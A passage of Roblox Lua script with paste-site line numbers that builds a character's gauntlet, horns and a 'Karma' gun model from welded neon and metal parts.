mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(0.00922966003, -0.486439705, 0.168525696, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1924
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.12999988, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.67265558, 2.53595638, -77.8179245, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1925
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(0.00736999512, -0.482939243, -0.161483765, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1926
NeonPart = New("Part",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.12999988, 0.109999999, 0.109999999),CFrame = CFrame.new(-5.67265606, 2.53595614, -78.1079254, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1927
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(0.0101289749, -0.479815245, -0.451454163, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1928
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765547, 3.62595677, -77.1979218, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1929
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(-0.00554943085, 0.600307941, 0.47013092, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1930
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765499, 3.62595701, -77.4879303, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1931
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(-0.00278949738, 0.603432655, 0.180152893, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1932
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765451, 3.62595749, -77.8179321, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1933
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.000350952148, 0.606987953, -0.149810791, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1934
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765451, 3.62595749, -78.107933, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1935
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.00311040878, 0.61011219, -0.439788818, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1936
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765499, 2.53595734, -78.107933, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1937
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.0151295662, -0.479759216, -0.451416016, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1938
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765499, 2.5359571, -77.8179245, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1939
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.0123701096, -0.482883692, -0.161437988, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1940
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765499, 2.5359571, -77.4879227, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1941
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.00923013687, -0.48643899, 0.168533325, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1942
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.66765499, 2.53595686, -77.1979218, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1943
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C1 = CFrame.new(0.00647068024, -0.489563227, 0.458503723, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1944
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-6.13765478, 3.62595701, -77.6579132, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1945
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.471121788, 0.600129128, 0.00566101074, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1946
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.82765484, 3.62595725, -77.6579132, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1947
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.161154747, 0.603516102, 0.008644104, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1948
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.51765442, 3.62595773, -77.6579132, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1949
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.148812771, 0.606903076, 0.0116348267, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1950
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.21765375, 3.6259582, -77.6579132, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1951
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.44878149, 0.610180855, 0.0145187378, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1952
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.21765327, 2.53595781, -77.6579132, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1953
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.460801125, -0.47969079, 0.00289154053, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1954
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.51765299, 2.53595757, -77.6579208, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1955
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.160833359, -0.48296833, 0, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1956
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-5.82765341, 2.53595734, -77.6579208, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1957
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.149133682, -0.486355066, -0.00299072266, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1958
Part = New("Part",Gaunty,"Part",{BrickColor = BrickColor.new("Black"),Material = Enum.Material.Metal,Shape = Enum.PartType.Cylinder,Size = Vector3.new(1.15999985, 0.0700000003, 0.0700000003),CFrame = CFrame.new(-6.13765383, 2.53595734, -77.6579208, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,TopSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1959
mot = New("Motor",Part,"mot",{Part0 = Part,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(-0.4591012, -0.489741802, -0.00597381592, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1960
NeonPart = New("WedgePart",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Size = Vector3.new(1.14999998, 0.640000045, 0.25000003),CFrame = CFrame.new(-5.66203499, 3.4509573, -77.7865677, 1.0000006, -6.18456397e-10, 3.7252903e-09, -6.18456397e-10, 1.0000006, 4.65661287e-09, 3.7252903e-09, 4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1961
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C1 = CFrame.new(0.00760126114, 0.431732178, -0.120269775, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1962
NeonPart = New("WedgePart",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Size = Vector3.new(1.14999998, 0.640000045, 0.280000031),CFrame = CFrame.new(-5.66203451, 3.45095778, -77.5215683, -1.0000006, -6.18456397e-10, -9.12696123e-08, 6.18456397e-10, 1.0000006, -4.65661287e-09, 8.38190317e-08, 4.65661287e-09, -1.0000006),BottomSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1963
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, 0, 8.74227766e-08, 0, 1, 0, -8.74227766e-08, 0, -1),C1 = CFrame.new(0.00508022308, 0.428877592, 0.144706726, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1964
NeonPart = New("WedgePart",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Size = Vector3.new(1.14999998, 0.640000045, 0.25000003),CFrame = CFrame.new(-5.66203403, 2.81095791, -77.7865601, -1.0000006, 8.81700544e-08, 3.7252903e-09, -8.69331416e-08, -1.0000006, 4.65661287e-09, -3.7252903e-09, -4.65661287e-09, 1.0000006),BottomSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1965
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -1, -8.74227766e-08, 0, 8.74227766e-08, -1, 0, 0, 0, 1),C1 = CFrame.new(0.0146594048, -0.208191872, -0.127082825, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1966
NeonPart = New("WedgePart",Gaunty,"NeonPart",{BrickColor = BrickColor.new("Institutional white"),Material = Enum.Material.Neon,Size = Vector3.new(1.14999998, 0.640000045, 0.280000031),CFrame = CFrame.new(-5.66203356, 2.8209579, -77.5215607, 1.0000006, -8.69331416e-08, 8.38190317e-08, -8.81700544e-08, -1.0000006, -4.65661287e-09, 9.12696123e-08, -4.65661287e-09, -1.0000006),BottomSurface = Enum.SurfaceType.Smooth,Color = C3(0.972549, 0.972549, 0.972549),})
1967
mot = New("Motor",NeonPart,"mot",{Part0 = NeonPart,Part1 = Handle,C0 = CFrame.new(0, 0, 0, 1, -8.74227766e-08, 8.74227766e-08, -8.74227766e-08, -1, -7.64274186e-15, 8.74227766e-08, 0, -1),C1 = CFrame.new(0.0120282173, -0.201047897, 0.137992859, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1968
Wedge = New("WedgePart",Gaunty,"Wedge",{BrickColor = BrickColor.new("Black"),Size = Vector3.new(1.1099999, 0.569999993, 1.13),CFrame = CFrame.new(-5.6508193, 4.06113148, -77.6620178, -4.74974513e-08, -6.18456397e-10, 1.0000006, -5.58793545e-09, 1.0000006, -1.5279511e-10, -1.0000006, 4.65661287e-09, -4.00468707e-08),BottomSurface = Enum.SurfaceType.Smooth,Color = C3(0.105882, 0.164706, 0.207843),})
1969
mot = New("Motor",Wedge,"mot",{Part0 = Wedge,Part1 = Handle,C0 = CFrame.new(0, 0, 0, -4.37113883e-08, 0, -1, 0, 1, 0, 1, 0, -4.37113883e-08),C1 = CFrame.new(0.0109024048, 1.04061508, 0.010887146, 0.999894261, -0.0110270018, -0.00951499958, 0.010924357, 0.999882579, -0.0107729975, 0.00963267777, 0.0106679145, 0.999897003),})
1970
local HW1 = NewInstance('Motor', Character, {Part0 = RightArm, Part1 = Handle, C0 = CF(0,-.51,0)})
1971
 
1972
for _,v in next, Gaunty:children() do
1973
    v.CanCollide = false
1974
end
1975
 
1976
local all, last = {}, nil
1977
ArmourParts = {}
1978
NeonParts = {}
1979
function scan(p)
1980
  for _, v in pairs(p:GetChildren()) do
1981
    if v:IsA("BasePart") then
1982
      if v.BrickColor == BrickColor.new("Black") then
1983
        table.insert(ArmourParts, v)
1984
      end
1985
      if v.BrickColor == BrickColor.new("Institutional white") then
1986
        table.insert(NeonParts, v)
1987
      end
1988
      if last then
1989
        local w = Instance.new("Weld")
1990
        w.Part0, w.Part1 = last, v
1991
        w.C0 = v.CFrame:toObjectSpace(last.CFrame):inverse()
1992
        w.Parent = last
1993
      end
1994
      table.insert(all, v)
1995
      last = v
1996
    end
1997
    scan(v)
1998
  end
1999
end
2000
scan(Gaunty)
2001
for i, v in pairs(ArmourParts) do
2002
     v.BrickColor = BrickColor.new("Black")
2003
     v.Material = Enum.Material.Neon
2004
        end
2005
for i, v in pairs(NeonParts) do
2006
     v.BrickColor = BrickColor.Random()
2007
        end
2008
 
2009
for i = 1, 10 do
2010
    local FACE = CreatePart(3, faceShadingFolder, "Neon", 0, 0+(i-1)/10.2, "Dark stone grey", "FaceGradient", VT(1.01,0.65,1.01),false)
2011
    FACE.Color = C3(0,0,0)
2012
    Head:FindFirstChildOfClass("SpecialMesh"):Clone().Parent = FACE
2013
    CreateWeldOrSnapOrMotor("Weld", FACE, Head, FACE, CF(0,0.28-(i-1)/30,0), CF(0, 0, 0))
2014
end
2015
 
2016
local LASTPART = Head
2017
for i = 1, 20 do
2018
    local MATH = (1-(i/25))
2019
    if LASTPART == Head then
2020
        local Horn = CreatePart(3, HornFolder, "Neon", 0, 0, "Dirt brown", "Horn", VT(0.25*MATH,0.25,0.25*MATH),false)
2021
        CreateWeldOrSnapOrMotor("Weld", LASTPART, LASTPART, Horn, CF(0.3, 0.7, -0.35) * ANGLES(RAD(-55), RAD(15), RAD(-15)), CF(0, 0, 0))
2022
        LASTPART = Horn
2023
        Horn.Color = BrickColor.Random().Color
2024
    else
2025
        local Horn = CreatePart(3, HornFolder, "Neon", 0, 0, "Dirt brown", "Horn", VT(0.25*MATH,0.25,0.25*MATH),false)
2026
        CreateWeldOrSnapOrMotor("Weld", LASTPART, LASTPART, Horn, CF(0, Horn.Size.Y/1.8, 0) * ANGLES(RAD(6), RAD(-0.3), RAD(0)), CF(0, 0, 0))
2027
        LASTPART = Horn
2028
        Horn.Color = BrickColor.Random().Color
2029
    end
2030
end
2031
local LASTPART = Head
2032
for i = 1, 20 do
2033
    local MATH = (1-(i/25))
2034
    if LASTPART == Head then
2035
        local Horn = CreatePart(3, HornFolder, "Neon", 0, 0, "Dirt brown", "Horn", VT(0.25*MATH,0.25,0.25*MATH),false)
2036
        CreateWeldOrSnapOrMotor("Weld", LASTPART, LASTPART, Horn, CF(-0.3, 0.7, -0.35) * ANGLES(RAD(-55), RAD(-15), RAD(15)), CF(0, 0, 0))
2037
        LASTPART = Horn
2038
        Horn.Color = BrickColor.Random().Color
2039
    else
2040
        local Horn = CreatePart(3, HornFolder, "Neon", 0, 0, "Dirt brown", "Horn", VT(0.25*MATH,0.25,0.25*MATH),false)
2041
        CreateWeldOrSnapOrMotor("Weld", LASTPART, LASTPART, Horn, CF(0, Horn.Size.Y/1.8, 0) * ANGLES(RAD(6), RAD(0.3), RAD(0)), CF(0, 0, 0))
2042
        LASTPART = Horn
2043
        Horn.Color = BrickColor.Random().Color
2044
    end
2045
end
2046
 
2047
-- IdleGun(Karma) --
2048
 
2049
local Handle = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.6,0.2),false)
2050
local LeftArmGrasp = CreateWeldOrSnapOrMotor("Weld", Handle, Torso, Handle, CF(-1.2, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0.21, 0))
2051
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.5,0.2),false)
2052
MakeForm(Part,"Wedge")
2053
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.3, 0.2) * ANGLES(RAD(0), RAD(180), RAD(0)), CF(0, 0, 0))
2054
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.3,0.2),false)
2055
MakeForm(Part,"Wedge")
2056
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.4, 0) * ANGLES(RAD(0), RAD(0), RAD(180)), CF(0, 0, 0))
2057
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.3,0.3),false)
2058
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.5, 0.2) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2059
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.5,0.5),false)
2060
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2061
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.4,0.4,0.4),false)
2062
MakeForm(Part,"Cyl")
2063
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2064
for i = 1, 8 do
2065
    local Piece = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Eye", VT(0,0.35,0.41),false)
2066
    CreateWeldOrSnapOrMotor("Weld", Handle, Part, Piece, CF(0, 0, 0) * ANGLES(RAD(0), RAD((360/8)*i), RAD(0)), CF(0, 0, 0))
2067
end
2068
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Eye", VT(0.38,0.41,0.38),false)
2069
MakeForm(Part,"Cyl")
2070
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.5) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2071
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.37,0.5,0.37),false)
2072
MakeForm(Part,"Ball")
2073
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.3) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2074
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.7,0.4),false)
2075
MakeForm(Part,"Wedge")
2076
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.7, 0.5) * ANGLES(RAD(90), RAD(180), RAD(180)), CF(0, 0, 0))
2077
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.3,0.4,0.2),false)
2078
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(0), RAD(0), RAD(0)), CF(0, 0, 0))
2079
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.35,0.35,0.35),false)
2080
MakeForm(Part,"Cyl")
2081
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 0.7) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2082
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.5,0.1,0.5),false)
2083
MakeForm(Part,"Cyl")
2084
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2085
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.5,0.1,0.45),false)
2086
MakeForm(Part,"Cyl")
2087
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.6, 1.1) * ANGLES(RAD(90), RAD(0), RAD(0)), CF(0, 0, 0))
2088
local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "Really black", "Part", VT(0.2,0.5,0.2),false)
2089
MakeForm(Part,"Wedge")
2090
CreateWeldOrSnapOrMotor("Weld", Handle, Handle, Part, CF(0, -0.55, 0.2) * ANGLES(RAD(-135), RAD(0), RAD(0)), CF(0, -0.3, 0))
2091
local LASTPART = Handle
2092
for i = 1, 10 do
2093
    if LASTPART == Handle then
2094
        local Part = CreatePart(3, KarmaGun, "Metal", 0, 0, "White", "Part", VT(0.1,0.2,0),false)
2095
        LASTPART = Part
